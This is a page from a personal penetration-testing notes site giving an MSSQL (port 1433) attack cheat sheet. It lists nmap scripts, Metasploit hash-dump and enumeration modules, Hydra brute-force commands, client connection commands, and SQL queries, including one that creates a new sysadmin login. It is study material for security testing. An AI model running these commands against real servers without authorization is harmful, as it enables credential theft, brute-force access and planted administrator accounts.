Security Notes
  • Whoami
  • Pentesting
    • WEP-Pen
      • Reconnaissance
      • Enumeration
      • OWSAP TOP 10
        • Injection
          • Cross Site Scripting
            • Cross Site Scripting
            • Exploitation
            • Protections
          • SQL Injection
            • SQL Injection Overview
          • NoSQL Injection
          • CRLF Injection
          • XML Injection
        • Broken Access Control
          • Path Traversal
          • Sensitive Cookie with Improper SameSite Attribute
          • Link Following
          • Incorrect Default Permissions
          • Information disclosure
          • CSRF
            • csrf checklist
          • 403 bypass
          • Exposure of WSDL File Containing Sensitive Information
          • bussiness logic checklist
          • 2FA bypass checklist
          • admin panal checklist
          • idor checklist
          • Authentication checklist
          • reset_password_checklist
          • ATO
        • Cryptographic Failures
          • Cryptographic Failure
          • Weak Encoding for Password
          • Improper Following of a Certificate's Chain of Trust
            • Understanding Digital Certificates : Self-Signed and CA-Signed Certificate **
            • Transport Layer Security (TLS) and SSL **
          • Clear Text Transmission Of Sensitive Data
            • SSLStripping **
        • Insecure Design
        • Security Misconfiguration
          • CORS Miscofigration
          • Mail Server Misconfiguration
        • Vulnerable and Outdated Components
          • Using Components with Known Vulnerabilities
        • Identification and Authentication Failures
          • JWT Hacking
          • SAML Authentication bypass
        • Software and Data Integrity Failures
          • mass assignment
          • PostMessage Vulnerabilities
            • PostMessage Vulnerabilities
            • Blocking main page to steal postmessage
            • Bypassing SOP with Iframes - part 1
            • Bypassing SOP with Iframes - part 2
            • Steal postmessage modifying iframe location
        • Security Logging and Monitoring Failures
        • Server-Side Request Forgery (SSRF)
          • SSRF
      • Checklists
        • aem misconfiguration
        • exif_geo
        • xss
        • Session Management
        • Authorization
        • cookie
        • Django
        • Symfony
        • json
        • bypass rate limit
        • Rce
        • Register Page
      • eWPTXv2 Preparation
        • Encoding & Filtering
        • Evasion Basics
        • Cross-site scripting (XSS)
        • XSS Filter Evasion
        • Cross-site request forgery (CSRF
        • HTML5
      • API-Pen
        • API Discovry
        • Reverse Engineering API Documentation
        • Excessive Data Exposure
        • Vulnerability Scanning
        • API Authentication Attacks
          • Classic Authentication Attacks
          • API Token Attacks
        • API Authorization Attacks
          • Broken Object Level Authorization (BOLA)
          • Broken Function Level Authorization
        • Improper Assets Management
        • Mass Assignment
        • SSRF
        • Injection Attacks in API
        • Evasive Maneuvers
        • GraphQL Vulnerabilities
    • NET-Pen
      • Active Directory Pentesting
        • Active Directory Components
        • Initial Attack Vectors
          • LLMNR Poisoning
          • SMB Relay Attacks
          • IPv6 Attacks ( IPv6 DNS Takeover )
          • Printer Hacking
          • Methodology
          • Some Other Attacks
            • Zerologon (CVE-2020-1472)
            • PrintNightmare (CVE-2021-1675)
        • Post-Compromise Attacks
          • Pass Attacks
          • Kerberoasting Attack
          • Token Impersonation Attack
          • LNK File Attack
          • GPP / cPassword Attacks
          • Mimikatz
          • Methodology
        • We've Compromised the Domain
          • Dumping the NTDS.dit
          • Golden Ticket Attacks
          • Methodology
        • Case Study
        • Password Attacks
      • Attack Vectors by Port
        • FTP 21
        • SSH 22
        • Telnet 23 - 2323
        • SMTP 25
        • DNS 53
        • Kerberos 88
        • POP 110-995
        • RPC 111
        • Ident 113
        • NNTP 119
        • NetBIOS 137-138
        • SMB / Samba 135-139, 445
        • MSRPC 135
        • SNMP 161
        • LDAP 389,636
        • Modbus 502
        • OpenSSL 1337
        • Ms-SQL 1433
        • Oracle Listener 1521 1522 1529
        • NFS 2049
        • MySql 3306
        • RDP 3389
        • ADB Android Debug Bridge 5555
        • WinRM 5985 5986
        • VNC 5800 5900
        • Redis 6379
        • Unreal IRC 6667
        • Tomcat 8080
        • MongoDB 27017
        • http 80
      • Network basics
      • Information Gathering
      • Privilege Escalation
        • Windows Privilege Escalation
        • Linux Privilege Escalation
    • write-ups
      • How i found a Privilege Escalation via Impersonation Features feature
      • How I was able to discover ATO Via IDOR vulnerability
      • Easy full Account Takeover via Facebook OAuth Misconfiguration
Powered by GitBook
On this page
  1. Pentesting
  2. NET-Pen
  3. Attack Vectors by Port

Ms-SQL 1433

1. Nmap for MSSQL Enumeration:

  • Search for related Nmap scripts:

    nmap --script-help "ms and sql"
  • Run Nmap with selected MSSQL scripts:

    nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 10.11.1.13
  • Run specific MSSQL scripts:

    nmap --script ms-sql-info -p 1433 10.0.0.0
    nmap --script ms-sql-config -p 1433 10.0.0.0
    nmap --script ms-sql-empty-password,ms-sql-xp-cmdshell -p 1433 10.0.0.0
    nmap --script ms-sql-* -p 1433 10.0.0.0

2. Metasploit Modules for MSSQL:

  • Common MSSQL Metasploit modules:

    msfconsole
    msf> use admin/mssql/mssql_enum
    msf> use admin/mssql/mssql_enum_domain_accounts
    msf> use admin/mssql/mssql_enum_sql_logins
    msf> use auxiliary/admin/mssql/mssql_findandsampledata
    msf> use auxiliary/admin/mssql/mssql_idf
    msf> use auxiliary/scanner/mssql/mssql_hashdump
    msf> use auxiliary/scanner/mssql/mssql_schemadump
  • These modules allow you to:

    • Enumerate MSSQL logins and domain accounts.

    • Dump hashes and retrieve database schema.

3. Bruteforcing MSSQL with Hydra:

  • Bruteforce with a username list:

    hydra -L usernames.txt -p password 10.0.0.0 mssql
  • Bruteforce with a password list:

    hydra -l username -P passwords.txt 10.0.0.0 mssql

4. Connecting to MSSQL with Impacket:

  • SQL Authentication:

    impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip>
  • Windows Authentication:

    impacket-mssqlclient -port 1433 DOMAIN/username:password@<target-ip> -windows-auth

5. Connecting to MSSQL with sqsh:

  • Basic connection:

    sqsh -S <target-ip> -U username -P password
  • Connect to a specific database:

    sqsh -S <target-ip> -U username -P password -D database

6. SQL Commands for Enumeration:

  • Get all users:

    SELECT * FROM sys.database_principals;
  • Switch to a specific database:

    USE <database>;
  • List available databases:

    SELECT * FROM master.dbo.sysdatabases;
  • List tables within a database:

    SELECT * FROM information_schema.tables;
  • Get content from a table:

    SELECT * FROM <database_name>.dbo.<table_name>;
  • Get the MSSQL version:

    SELECT @@version;
  • Check permission to execute OS commands:

    USE master;
    EXEC sp_helprotect 'xp_cmdshell';
  • Get linked servers:

    EXEC sp_linkedservers;
    SELECT * FROM sys.servers;
  • Create a new user with sysadmin privileges:

    CREATE LOGIN tester WITH PASSWORD = 'password';
    EXEC sp_addsrvrolemember 'tester', 'sysadmin';
  • Get the current username:

    SELECT user_name();
PreviousOpenSSL 1337NextOracle Listener 1521 1522 1529

Last updated 5 months ago